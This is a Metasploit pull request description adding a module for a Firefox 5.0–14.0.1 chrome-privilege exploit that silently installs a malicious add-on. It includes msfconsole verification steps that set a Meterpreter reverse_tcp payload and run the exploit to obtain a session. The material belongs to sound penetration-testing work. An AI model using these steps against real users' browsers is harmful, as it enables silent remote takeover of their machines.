rapid7/metasploit-framework — pull request #2781 by jvennix-r7 (2013-12-19 03:04:05+00:00)
Title: firefox 5.0 - 14.0.1 chrome privilege execution (CVE-2012-3993 and CVE-2013-1710)

This PR adds a module for a firefox chrome privilege exploit present in Firefox 5.0 - 14.0.1. It works by silently installing a malicious .xpi addon, no user interaction needed. To get this working, I had to refactor the `firefox_xpi_bootstrapped_addon` module into a mixin that generates a .xpi zip file.

### Verification

- [ ] Test that the `firefox_xpi_bootstrapped_addon` module still works. Set your target/payload:

msf> use exploits/remote/firefox_addon_generator
msf> set TARGET 1
msf> set payload windows/meterpreter/reverse_tcp
msf> set lhost 10.6.0.111 (or whatever)
msf> run

- [ ] Ensure you can still get a session by visiting the URL in some version of firefox
- [ ] Ensure you can get a session from a java target (`set TARGET 0`)
- [ ] Test that the `firefox_proto_crmfrequest` module works on a few different versions of firefox:

msf> use exploits/multi/browser/firefox_proto_crmfrequest
msf> set TARGET 1
msf> set payload windows/meterpreter/reverse_tcp
msf> set lhost 10.6.0.111 (or whatever)
msf> run

- [ ] Works on windows Firefox 14.0.1
- [ ] Works on windows Firefox 5
- [ ] Works on osx Firefox 14.0.1 (you must `set TARGET 4` and `rerun`)
- [ ] Works on linux Firefox 14.0.1 (you must `set TARGET 2` and `rerun`)